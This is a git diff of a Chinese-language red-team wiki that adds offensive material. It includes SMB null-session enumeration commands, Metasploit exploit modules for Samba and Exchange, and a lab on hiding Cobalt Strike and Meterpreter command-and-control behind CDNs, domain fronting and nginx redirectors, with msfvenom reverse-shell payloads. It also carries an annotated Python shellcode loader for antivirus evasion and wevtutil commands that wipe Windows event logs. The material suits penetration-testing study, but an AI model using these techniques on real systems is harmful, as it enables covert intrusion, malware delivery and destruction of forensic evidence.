http://whois.domaintools.com/ +- https://whois.icann.org/en +- https://www.whoxy.com/reverse-whois/ +- https://domainbigdata.com/ +- https://whoer.net/checkwhois +- https://viewdns.info/whois/ +- https://www.reversewhois.io/ **在线备案查询** -- [备案查询](../../../Plan/Web-Tools.md#备案查询) +- http://www.beianbeian.com/ +- http://beian.gov.cn/portal/recordQuery +- http://www.miitbeian.gov.cn/publish/query/indexFirst.action **whois 工具** - http://www.freebuf.com/articles/network/107372.html diff --git "a/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\347\251\272\351\227\264\346\265\213\347\273\230.md" "b/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\347\251\272\351\227\264\346\265\213\347\273\230.md" index 550e68e3..d93d73e1 100644 --- "a/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\347\251\272\351\227\264\346\265\213\347\273\230.md" +++ "b/1earn/Security/RedTeam/\344\277\241\346\201\257\346\224\266\351\233\206/\347\251\272\351\227\264\346\265\213\347\273\230.md" @@ -34,6 +34,9 @@ **相关文章** - [Shodan BinaryEdge ZoomEye 网络空间搜索引擎测评](https://paper.seebug.org/970/) +- [让网络空间测绘技术不再那么飘忽不定](https://mp.weixin.qq.com/s/lr39F9kNOfHlMimgymzVwg) +- [A Survey on Cyberspace Search Engines](https://link.springer.com/chapter/10.1007/978-981-33-4922-3_15) +- [Offensive OSINT s01e01 - OSINT & RDP](https://www.offensiveosint.io/offensive-osint-s01e01-osint-rdp/) **常用搜索接口** ``` @@ -277,14 +280,16 @@ in:description python pushed:>2019-12-20 钉钉群 ``` -**工具** +**监控工具** - [BishopFox/GitGot](https://github.com/BishopFox/GitGot) - 快速搜索 GitHub 上公共数据的敏感信息 - [UKHomeOffice/repo-security-scanner](https://github.com/UKHomeOffice/repo-security-scanner)- 查找意外提交给 git 仓库的秘密的 CLI 工具,例如密码,私钥 - [gwen001/github-search](https://github.com/gwen001/github-search) - 在GitHub上执行基本搜索的工具。 - [eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) - 实时的监控 github 寻找敏感信息 - [lightless233/geye](https://github.com/lightless233/geye) - 一款面向企业级以及白帽子的"More Fastest" Github监控工具 - [Securityautomation/DumpTheGit](https://github.com/Securityautomation/DumpTheGit) - 搜索公开的代码仓库, 查找敏感信息 -- [4x99/code6](https://github.com/4x99/code6) +- [4x99/code6](https://github.com/4x99/code6) - GitHub 代码泄露监控系统 +- [zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - 用于检测 git repos 中的硬编码机密,例如密码,api 密钥和令牌 +- [hahwul/gitls](https://github.com/hahwul/gitls) - 从组织/用户中包含的所有公共存储库中提取 URL --- @@ -328,11 +333,15 @@ https://searchcode.com/ - 排除不想要的结果: `关键字 -排查条件` ,例如搜索 "运动相机",但只想看 GoPro 品牌以外的产品 `运动相机 -GoPro` - 双引号的用处:例如: `"how to write a code"` 如果没有引号,搜索的大部分结果是以 `write code` 为关键字.包含引号后,会确保将完整的字符串做为期望的检索结果提交给搜索引擎. - 搜索缓存: `cache: +后缀` ,如:`cache: regontool.org` + **搜索语法合集** - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - [K0rz3n/GoogleHacking-Page](https://github.com/K0rz3n/GoogleHacking-Page) - [BullsEye0/google_dork_list](https://github.com/BullsEye0/google_dork_list) +**dork工具** +- [dwisiswant0/go-dork](https://github.com/dwisiswant0/go-dork) - Go 语言编写的快速 Dork 扫描仪。 + **例子** - **常见语法** ``` @@ -468,6 +477,7 @@ https://searchcode.com/ - [Shodan新手入坑指南](https://www.freebuf.com/sectool/121339.html) - [shodan-manual](https://b404.gitbooks.io/shodan-manual/) - [Search Engine Improvements](https://blog.shodan.io/search-engine-improvements/) +- [利用shodan搜索公网摄像头](https://mp.weixin.qq.com/s/Ccp2mZdluvlcGKxnC4mTmQ) **搜索语法合集** - [jakejarvis/awesome-shodan-queries](https://github.com/jakejarvis/awesome-shodan-queries) @@ -698,7 +708,9 @@ port:102 +app:"Siemens S7 PLC" - [工具的使用 | 网络空间搜索引擎Fofa的简单使用](https://mp.weixin.qq.com/s/2uLSOZHvIX_KLTwpp9sGfA) **相关工具** -- [uknowsec/Fofa-gui](https://github.com/uknowsec/Fofa-gui) +- [tangxiaofeng7/Fofa-collect](https://github.com/tangxiaofeng7/Fofa-collect) - 21.2.9 测试正常 +- [uknowsec/Fofa-gui](https://github.com/uknowsec/Fofa-gui) - 21.2.9 测试无法使用 +- [BurnyMcDull/fofa-spider](https://github.com/BurnyMcDull/fofa-spider) **语法** ```bash @@ -844,3 +856,9 @@ IP 最大范围限制 65536 个 # spyse - https://spyse.com/ + +--- + +# quake + +- https://quake.360.cn/quake/#/index diff --git "a/1earn/Security/RedTeam/\345\215\217\350\256\256\345\256\211\345\205\250/Protocol-Exploits.md" "b/1earn/Security/RedTeam/\345\215\217\350\256\256\345\256\211\345\205\250/Protocol-Exploits.md" index 113a83b3..04d13096 100644 --- "a/1earn/Security/RedTeam/\345\215\217\350\256\256\345\256\211\345\205\250/Protocol-Exploits.md" +++ "b/1earn/Security/RedTeam/\345\215\217\350\256\256\345\256\211\345\205\250/Protocol-Exploits.md" @@ -115,8 +115,105 @@ - MSF 模块 ```bash use auxiliary/scanner/smb/smb_version - set rhosts xxx.xxx.xxx.xxx - run + use exploit/multi/samba/usermap_script + ``` + +- nmblookup + ```bash + nmblookup -A + ``` + +- ngrep + ```bash + "ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' + smbclient -L \\\\" + ``` + +- nmap脚本 + ```bash + nmap --script smb-vuln* -p139,445 -T4 -Pn + ``` + +**枚举用户** + +- nmap脚本 + ```bash + nmap --script smb-enum-users.nse -p 445 <目标IP> + ``` + +- rpcclient + ```bash + rpcclient -U '' <目标IP> + querydominfo + enumdomusers + queryuser <用户名> + ``` + +- enum4linux + ```bash + enum4linux <目标IP> + ``` + +**获取共享** +- smbmap + ```bash + smbmap -H -R + ``` + +- smbclient + ```bash + echo exit | smbclient -L \\\\$ip + "smbclient \\\\\\" + smbclient -L // -N + ``` + +- nmap + ```bash + nmap --script smb-enum-shares -p139,445 -T4 -Pn + ``` + +**空会话** +- smbmap + ```bash + smbmap -H + ``` + +- rpcclient + ```bash + rpcclient -U "" -N $ip + ``` + +- smbclient + ```bash + smbclient ///IPC$ -N + ``` + +- enum + ```bash + enum -s + enum -U + enum -P + ``` + +- enum4linux + ```bash + enum4linux -a + ``` + +**匿名共享** +- smbclient + ```bash + smbclient //$ip/share -U username + smbclient \\\\\\ + smbclient /// + smbclient /// + smbclient ///<""share name""> + ``` + +- rpcclient + ```bash + rpcclient -U " " + rpcclient -U " " -N ``` **暴力破解** @@ -176,26 +273,6 @@ hydra -L user.txt -P pass.txt 192.168.1.1 smb 主要依靠钓鱼,不是很适合在实战中使用,内容见 https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/ -**枚举用户** - -- nmap脚本 - ```bash - nmap --script smb-enum-users.nse -p 445 <目标IP> - ``` - -- rpcclient - ```bash - rpcclient -U '' <目标IP> - querydominfo - enumdomusers - queryuser <用户名> - ``` - -- enum4linux - ```bash - enum4linux <目标IP> - ``` - --- # PPTP @@ -523,6 +600,10 @@ OpenSSH(OpenBSD Secure Shell)是 OpenBSD 计划组的一套用于安全访 - POC | Payload | exp - [OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure](https://www.exploit-db.com/exploits/32745) + - 单行命令批量检测 + ``` + cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done + ``` --- diff --git "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\220\216\346\270\227\351\200\217.md" "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\220\216\346\270\227\351\200\217.md" index c8577c16..2b81f7af 100644 --- "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\220\216\346\270\227\351\200\217.md" +++ "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\220\216\346\270\227\351\200\217.md" @@ -20,13 +20,16 @@ * [Win](#win) * **[隐匿攻击](#隐匿攻击)** - * [隐蔽隧道](#隐蔽隧道) + * [流量隐藏技术](#流量隐藏技术) * [端口转发](#端口转发) * [应用层隧道](#应用层隧道) * [网络层隧道](#网络层隧道) * [代理](#代理) + * [C2隐藏技术](#c2隐藏技术) + * [CDN](#cdn) + * [域前置](#域前置) + * [重定向](#重定向) * [侧信道](#侧信道) - * [域前置](#域前置) * **[权限提升](#权限提升)** @@ -413,13 +416,13 @@ copy \\192.168.28.128\c$\2.txt D:\test --- -# 隐匿攻击 +# 隐匿技术 + +## 流量隐藏技术 **相关文章** - [强制通过VPN上网,VPN断线就断网](https://www.t00ls.net/articles-38739.html) -## 隐蔽隧道 - ### 端口转发 端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。 @@ -493,22 +496,64 @@ ssh -D 1080 root@sshserver # 动态端口转发 --- -## 侧信道 +## C2隐藏技术 -**工具** -- **PTP-RAT** - - https://www.pentestpartners.com/security-blog/exfiltration-by-encoding-data-in-pixel-colour-values/ - - https://github.com/pentestpartners/PTP-RAT +**相关文章** +- [利用CDN、域前置、重定向三种技术隐藏C2的区别](https://blog.csdn.net/qq_41874930/article/details/109008708) ---- +### CDN + +让 cdn 转发合法的 http 或者 https 流量来达到隐藏的目的。 + +受害主机上只会有跟 cdn 的 ip 通信的流量,不会有跟真实 C2 通信的流量,可以保护 C2 的 ip,但是域名还是会暴露。 -## 域前置 +**相关文章** +- [反溯源-cs和msf域名上线](https://xz.aliyun.com/t/5728) +- [使用CDN隐藏c2流量](http://blog.sern.site:8000/2020/08/03/%E4%BD%BF%E7%94%A8CDN%E9%9A%90%E8%97%8Fc2%E6%B5%81%E9%87%8F/) + +**实验** +- [CDN+C2实验](./实验/C2实验.md#CDN) + +### 域前置 `Domain fronting` -**文章** +同一个 cdn 厂商下倘若有两个域名 a.com,b.com,这时候我们使用 curl 命令访问第一个 a.com 并将 host 名改为 b.com 这时候,实际访问的是 b.com 的内容。而一般的监测机制是不会检测 host 头的。 + +通过一个高信任域名隐藏自己的真实域名与 ip,且受害主机上只有跟 cdn 通信的流量。 + +**相关文章** +- [域前置技术的原理与CS上的实现](https://blog.csdn.net/qq_41874930/article/details/107742843) - [【安全研究】Domain fronting域名前置网络攻击技术](https://mp.weixin.qq.com/s/aK3-Kofj7HdJ6BKhO3GVZA) +### 重定向 + +两台 vps,一台做重定向,一台是真正的 C2,而受害者只与那台做重定向的机器通信,重定向机器只会转发来自 beacon 的特定流量到 C2 控制端主机,对于其他流量可以自定义设置处理方法,一般是采用重定向到一些高信誉域名上例如百度等。 + +受害者上只会有与重定向机器之间的流量,不会有与真实 c2 服务器的流量,重定向服务器会将非 beacon 的请求重定向到一些高信誉域名上,达到迷惑的目的,不过如果受害者 ban 掉了重定向机器的 ip,对攻击者的损失也是很大的。 + +**相关文章** +- [利用apache mod_rewrite模块实现重定向技术来隐藏CS的teamserver的原理与实现](https://shanfenglan.blog.csdn.net/article/details/107789018) +- [cobaltstrike配置nginx反向代理](https://mp.weixin.qq.com/s/OK0m9lln5-XjHHkWLwMxHg) +- [Cobalt Strike with CloudFlare](https://mp.weixin.qq.com/s/d6hu8YE-SGy-eruIWOwbXg) +- [博客使用Cloudflare和Nginx的相关配置](https://jayshao.com/cloudflare-nginx-ssl/) + +**相关项目** +- [cedowens/Mod_Rewrite_Automation](https://github.com/cedowens/Mod_Rewrite_Automation) - Scripts to automate standing up apache2 with mod_rewrite in front of C2 servers. +- [threatexpress/cs2modrewrite](https://github.com/threatexpress/cs2modrewrite) - Convert Cobalt Strike profiles to modrewrite scripts + +**实验** +- [重定向+C2实验](./实验/C2实验.md#重定向) + +--- + +## 侧信道 + +**工具** +- **PTP-RAT** + - https://www.pentestpartners.com/security-blog/exfiltration-by-encoding-data-in-pixel-colour-values/ + - https://github.com/pentestpartners/PTP-RAT + --- # 权限提升 @@ -549,6 +594,8 @@ ssh -D 1080 root@sshserver # 动态端口转发 - [APT34 Exchange 爆破工具](https://github.com/blackorbird/APT_REPORT/blob/master/APT34/Jason.zip) - [grayddq/EBurst](https://github.com/grayddq/EBurst) - 这个脚本主要提供对 Exchange 邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。 - [sensepost/ruler](https://github.com/sensepost/ruler) - 爆破 Exchange +- [dpaulson45/HealthChecker](https://github.com/dpaulson45/HealthChecker) - Exchange Server 运行状况检查脚本 +- [microsoft/CSS-Exchange](https://github.com/microsoft/CSS-Exchange) - Exchange Server支持工具和脚本,用于检测各类问题 **CVE-2018-8581 任意用户伪造漏洞** - 文章 @@ -573,6 +620,24 @@ ssh -D 1080 root@sshserver # 动态端口转发 - POC | Payload | exp - [Ridter/cve-2020-0688](https://github.com/Ridter/cve-2020-0688) +**CVE-2020-16875 远程代码执行漏洞** +- 简介 + + 由于对 cmdlet 参数的验证不正确,Microsoft Exchange 服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个 Exchange 角色进行身份验证的用户权限,由于 Exchange 服务以 System 权限运行,触发该漏洞亦可获得系统最高权限。 + +- MSF 模块 + ``` + use exploit/windows/http/exchange_ecp_dlp_policy + ``` + +**Proxylogon** +- 文章 + - [Reproducing the Microsoft Exchange Proxylogon Exploit Chain](https://www.praetorian.com/blog/reproducing-proxylogon-exploit/) + - [Microsoft Exchange Server CVE-2021–26855 漏洞利用](https://www.anquanke.com/post/id/234607) + +- POC | Payload | exp + - [hausec/ProxyLogon](https://github.com/hausec/ProxyLogon) + ## 认证 - [认证](../OS安全/Windows安全.md#认证) diff --git "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/C2\345\256\236\351\252\214.md" "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/C2\345\256\236\351\252\214.md" new file mode 100644 index 00000000..52490356 --- /dev/null +++ "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/C2\345\256\236\351\252\214.md" @@ -0,0 +1,171 @@ +# C2 实验 + +--- + +## 免责声明 + +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` + +--- + +# C2隐藏技术 + +## CDN + +**准备** +- 一台 vultr centos7 机器 +- 一个域名 +- cloudflare 账号 + +**挂上 cdn** + +在域名购买后配置,cf 中的域名解析,在 cf 中配置 A 记录, 记录 IP 为 vps 地址 + +名称随意,如下 + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/1.png) + +ping 测试 + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/2.png) + +104.21.49.218 是 cf 的IP + +**端口限制** + +Cloudflare 支持的 HTTP 端口是: +- 80 +- 8080 +- 8880 +- 2052 +- 2082 +- 2086 +- 2095 + +Cloudflare 支持的 HTTPS 端口是: +- 443 +- 2053 +- 2083 +- 2087 +- 2096 +- 8443 + +**CS** + +监听器配置域名 + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/3.png) + +生成payload,在靶机上执行 + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/4.png) + +显示的目标是 172.67.195.13 ,这个IP也是 cloudflare 的 ip + +cs上也显示了目标 + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/5.png) + +但是这种情况还是会暴露域名的,如果域名备案或者有其他特征,依然会被溯源。 + +**MSF** + +payload 使用 reverse_http +``` +msfvenom -p windows/x64/meterpreter/reverse_http LHOST=<域名> LPORT=80 -f exe > shell.exe +``` + +起监听 +``` +use exploit/multi/handler +set PAYLOAD windows/x64/meterpreter/reverse_http +set lhost <域名> +set LPORT 80 +exploit -j +``` + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/6.png) + +--- + +## 重定向 + +### nginx 反代 CS + +**准备** +- 一台 vultr centos7 机器 + +**使用 Malleable C2 文件** + +访问 https://github.com/threatexpress/malleable-c2 ,下载 jquery-c2.4.0.profile + +上传至 CS 目录,检查可用性 +```bash +chmod +x c2lint +./c2lint jquery-c2.4.0.profile +``` + +无误后,运行 cs + +**cs 配置监听** + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/7.png) + +**搭建 nginx** + +```bash +wget https://nginx.org/download/nginx-1.16.1.tar.gz +tar -zxvf nginx-1.16.1.tar.gz +cd nginx-1.16.1/ +./configure +make +make install +cd /usr/local/nginx/sbin +./nginx +``` + +注:源代码安装你的默认目录在 /usr/local/nginx 下,配置文件在 conf/ 中,不要搞错了 + +访问 IP,可以看到一个欢迎页 + +修改 nginx.conf +```diff +cd /usr/local/nginx/conf +vim nginx.conf + ++ location ~*/jquery { ++ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; ++ proxy_pass http://127.0.0.1:8080; ++ } + ++ location / { ++ proxy_pass http://www.baidu.com/; ++ } +``` + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/8.png) + +重启 nginx +``` +cd /usr/local/nginx/sbin && ./nginx -s reload +``` + +这个时候访问 nginx 服务默认会转到 baidu, 加路径 /jquery-3.3.1.min.js + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/9.png) + +生成 payload 测试一下 + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/10.png) + +![](../../../../../assets/img/Security/RedTeam/后渗透/实验/C2实验/11.png) + +--- + +**Source & Reference** +- [反溯源-cs和msf域名上线](https://xz.aliyun.com/t/5728) +- [使用CDN隐藏c2流量](http://blog.sern.site:8000/2020/08/03/%E4%BD%BF%E7%94%A8CDN%E9%9A%90%E8%97%8Fc2%E6%B5%81%E9%87%8F/) +- [cobaltstrike配置nginx反向代理](https://mp.weixin.qq.com/s/OK0m9lln5-XjHHkWLwMxHg) +- [Cobalt Strike with CloudFlare](https://mp.weixin.qq.com/s/d6hu8YE-SGy-eruIWOwbXg) +- [博客使用Cloudflare和Nginx的相关配置](https://jayshao.com/cloudflare-nginx-ssl/) +- [利用apache mod_rewrite模块实现重定向技术来隐藏CS的teamserver的原理与实现](https://shanfenglan.blog.csdn.net/article/details/107789018) diff --git "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\345\205\215\346\235\200\345\256\236\351\252\214.md" "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\345\205\215\346\235\200\345\256\236\351\252\214.md" index 52d741af..71641671 100644 --- "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\345\205\215\346\235\200\345\256\236\351\252\214.md" +++ "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\345\205\215\346\235\200\345\256\236\351\252\214.md" @@ -2,6 +2,12 @@ --- +## 免责声明 + +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` + +--- + # 加载器 ![](../../../../../assets/img/Security/RedTeam/后渗透/实验/免杀实验/2.png) @@ -30,7 +36,7 @@ print(base64_shellcode) ``` -添加到加载器 +添加到加载器,加载器的大致原理就是申请一块内存,将代码字节存入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。 ```py import base64 import codecs @@ -61,16 +67,139 @@ handle = ctypes.windll.kernel32.CreateThread( ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完 -ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) +ctypes.windll.kernel32.WaitForSingleObject( + ctypes.c_int(handle), + ctypes.c_int(-1) +) ``` -pyinstaller 打包 -```bash -pip install PyInstaller -pyinstaller -F base64loader.py -``` +- ctypes 库 + + python 的 ctypes 模块是内建,用来调用系统动态链接库函数的模块 + + 使用 ctypes 库可以很方便地调用 C 语言的动态链接库,并可以向其传递参数。 + ```py + import ctypes + ``` + +- 读取shellcode + + 将 shellcode 生成后,使用 base64 编码,后面操作是将代码写入内存,所以需要将代码解码并转为字节类型 + ```py + shellcode = "" + shellcode = base64.b64decode(shellcode) + shellcode = codecs.escape_decode(shellcode)[0] + shellcode = bytearray(shellcode) + ``` + +- 设置返回类型 + + 我们需要用 VirtualAlloc 函数来申请内存,返回类型必须和系统位数相同 + + 想在 64 位系统上运行,必须使用 restype 函数设置 VirtualAlloc 返回类型为 ctypes.c_unit64,否则默认的是 32 位 + ```py + ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 + ``` + +- 申请内存 + + 调用 VirtualAlloc 函数,来申请一块动态内存区域,VirtualAlloc 函数原型和参数如下: + ```py + LPVOID VirtualAlloc{ + LPVOID lpAddress, # 要分配的内存区域的地址 + DWORD dwSize, # 分配的大小 + DWORD flAllocationType, # 分配的类型 + DWORD flProtect # 该内存的初始保护属性 + }; + ``` + + 申请一块内存可读可写可执行 + ```py + ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) + # ctypes.c_int(0) 是 NULL,系统将会决定分配内存区域的位置,并且按 64KB 向上取整 + # ctypes.c_int(len(shellcode)) 以字节为单位分配或者保留多大区域 + # ctypes.c_int(0x3000) 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000) 类型的合并 + # ctypes.c_int(0x40) 是权限为 PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。 + ``` + +- 将 shellcode 载入内存 + + 调用 RtlMoveMemory 函数,此函数从指定内存中复制内容至另一内存里。RtlMoveMemory 函数原型和参数如下: + ```py + RtlMoveMemory(Destination,Source,Length); + Destination # 指向移动目的地址的指针。 + Source # 指向要复制的内存地址的指针。 + Length # 指定要复制的字节数。 + ``` + + 从指定内存地址将内容复制到我们申请的内存中去,shellcode 字节多大就复制多大 + ```py + buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) + ctypes.windll.kernel32.RtlMoveMemory( + ctypes.c_uint64(ptr), + buf, + ctypes.c_int(len(shellcode)) + ) + ``` + +- 创建进程 + + 调用 CreateThread 将在主线程的基础上创建一个新线程, CreateThread 函数原型和参数如下: + ```py + HANDLE CreateThread( + LPSECURITY_ATTRIBUTES lpThreadAttributes, # 线程安全属性 + SIZE_T dwStackSize, # 置初始栈的大小,以字节为单位 + LPTHREAD_START_ROUTINE lpStartAddress, # 指向线程函数的指针 + LPVOID lpParameter, # 向线程函数传递的参数 + DWORD dwCreationFlags, # 线程创建属性 + LPDWORD lpThreadId # 保存新线程的id + ) + ``` + + 创建一个线程从 shellcode 放置位置开始执行 + ```py + handle = ctypes.windll.kernel32.CreateThread( + ctypes.c_int(0), + ctypes.c_int(0), + ctypes.c_uint64(ptr), + ctypes.c_int(0), + ctypes.c_int(0), + ctypes.pointer(ctypes.c_int(0)) + ) + # lpThreadAttributes 为 NULL 使用默认安全性 + # dwStackSize 为 0,默认将使用与调用该函数的线程相同的栈空间大小 + # lpStartAddress 为 ctypes.c_uint64(ptr),定位到申请的内存所在的位置 + # lpParameter 不需传递参数时为 NULL + # dwCreationFlags 属性为 0,表示创建后立即激活 + # lpThreadId 为 ctypes.pointer(ctypes.c_int(0)) 不想返回线程 ID, 设置值为 NULL + ``` + +- 等待线程结束 + + 调用 WaitForSingleObject 函数用来检测线程的状态, WaitForSingleObject 函数原型和参数如下: + ```py + DWORD WINAPI WaitForSingleObject( + __in HANDLE hHandle, # 对象句柄。可以指定一系列的对象 + __in DWORD dwMilliseconds # 定时时间间隔 + ); + ``` + + 等待创建的线程运行结束 + ```py + ctypes.windll.kernel32.WaitForSingleObject( + ctypes.c_int(handle), + ctypes.c_int(-1) + ) + ``` + + 这里两个参数,一个是创建的线程,一个是等待时间 + - 当线程退出时会给出一个信号,函数收到后会结束程序。 + - 当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。 + 正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。 --- **Source & Reference** - [免杀 - shellcode简单混淆BypassAv](https://mp.weixin.qq.com/s/LkOmSNw7YgD7yfXkIrofHQ) +- [CS免杀-Shellcode Loader原理(python)](https://mp.weixin.qq.com/s/-WcEW1aznO2IuCezkCe9HQ) +- [CS免杀-环境和编码补充(python)](https://mp.weixin.qq.com/s/_uMFatf4_yfGit-Xu7Ml9A) diff --git "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\347\253\257\345\217\243\350\275\254\345\217\221\345\256\236\351\252\214.md" "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\347\253\257\345\217\243\350\275\254\345\217\221\345\256\236\351\252\214.md" index 03b3adc1..fec2a210 100644 --- "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\347\253\257\345\217\243\350\275\254\345\217\221\345\256\236\351\252\214.md" +++ "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\345\256\236\351\252\214/\347\253\257\345\217\243\350\275\254\345\217\221\345\256\236\351\252\214.md" @@ -2,6 +2,12 @@ --- +## 免责声明 + +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` + +--- + # 正向转发 ## Windows diff --git "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\346\235\203\351\231\220\347\273\264\346\214\201.md" "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\346\235\203\351\231\220\347\273\264\346\214\201.md" index 9a994755..f09ae360 100644 --- "a/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\346\235\203\351\231\220\347\273\264\346\214\201.md" +++ "b/1earn/Security/RedTeam/\345\220\216\346\270\227\351\200\217/\346\235\203\351\231\220\347\273\264\346\214\201.md" @@ -33,13 +33,10 @@ * [痕迹清理](#痕迹清理) * **[C2-RAT](#C2-RAT)** - * [工具列表](#工具列表) - * [msfvenom](#msfvenom) - * [binaries](#binaries) - * [web](#web) - * [scripting](#scripting) - * [shellcode](#shellcode) - * [msfencode](#msfencode) + * [Framework](#framework) + * [msfvenom](#msfvenom) + * [msfencode](#msfencode) + * Payload Generation --- @@ -79,6 +76,7 @@ - [yzddmr6/as_webshell_venom](https://github.com/yzddmr6/as_webshell_venom) - 免杀 webshell 无限生成工具蚁剑版 - [backlion/webshell](https://github.com/backlion/webshell) - 这是一些常用的 webshell - [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells) - 收集 JSP Webshell 的各种姿势 +- [Ivan1ee/.NETWebShell](https://github.com/Ivan1ee/.NETWebShell) - .net 命令执行的webshell **无文件 webshell** - 相关文章 @@ -123,10 +121,12 @@ logoff # 踢掉 - [Windows完美实现克隆用户的方法](https://ai-sewell.me/2018/Windows%E5%AE%8C%E7%BE%8E%E5%AE%9E%E7%8E%B0%E5%85%8B%E9%9A%86%E7%94%A8%E6%88%B7%E7%9A%84%E6%96%B9%E6%B3%95/) - [你能找到我么?-- 隐藏用户建立(Powershell)](https://evi1cg.me/archives/UserClone.html) - [渗透技巧——Windows系统的帐户隐藏](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/) + - [绕过反病毒添加管理员用户小结](https://mp.weixin.qq.com/s/UKJUBQFKf1lBctfckmieDg) - 相关项目 - [Ch1ngg/AggressorScript-CreateCloneHiddenAccount](https://github.com/Ch1ngg/AggressorScript-CreateCloneHiddenAccount) - 创建一个克隆隐藏的管理员账号 - [An0nySec/ShadowUser](https://github.com/An0nySec/ShadowUser) - 影子用户 克隆 + - [lengjibo/NetUser](https://github.com/lengjibo/NetUser) - 使用 windowsapi 添加用户,可用于 net 无法使用时 --- @@ -344,6 +344,15 @@ Windwos 操作系统默认没有提供删除特定日志记录的功能,仅提 clearev ``` + 同样简单粗暴的删除方法 + ```bash + wevtutil cl "Windows PowerShell" + wevtutil cl application + wevtutil cl security + wevtutil cl setup + wevtutil cl system + ``` + - 单条删除 - 文章 - [Detection and recovery of NSA’s covered up tracks](https://blog.fox-it.com/2017/12/08/detection-and-recovery-of-nsas-covered-up-tracks/) @@ -877,23 +886,24 @@ strace 命令 id 的时候可以发现有预先去读取 `/etc/ld.so.preload` # C2-RAT +**相关教程** +- [TideSec/BypassAntiVirus](https://github.com/TideSec/BypassAntiVirus) + +**相关文章** +- [Shellcode 杀软对抗实战(启航篇)](https://www.anquanke.com/post/id/190354) + **杀软速查** - [r00tSe7en/get_AV](https://github.com/r00tSe7en/get_AV) - Windows杀软在线对比辅助 - [gh0stkey/avList](https://github.com/gh0stkey/avList) - 逐个查询对应杀软厂商名称 -## 工具列表 +--- + +## Framework - [trustedsec/trevorc2](https://github.com/trustedsec/trevorc2) - 走 HTTP 的 C2 - [AhMyth/AhMyth-Android-RAT](https://github.com/AhMyth/AhMyth-Android-RAT) - 用于 android 的 RAT - [neoneggplant/EggShell](https://github.com/neoneggplant/EggShell) - 用于 iOS/macOS/Linux 的 RAT - Metasploit - ```bash - use evasion/windows/windows_defender_exe - set payload windows/x64/meterpreter/reverse_tcp - set lhost - set lport - run - ``` - [Veil](https://github.com/Veil-Framework/Veil) ```bash git clone https://github.com/Veil-Framework/Veil.git @@ -916,7 +926,6 @@ strace 命令 id 的时候可以发现有预先去读取 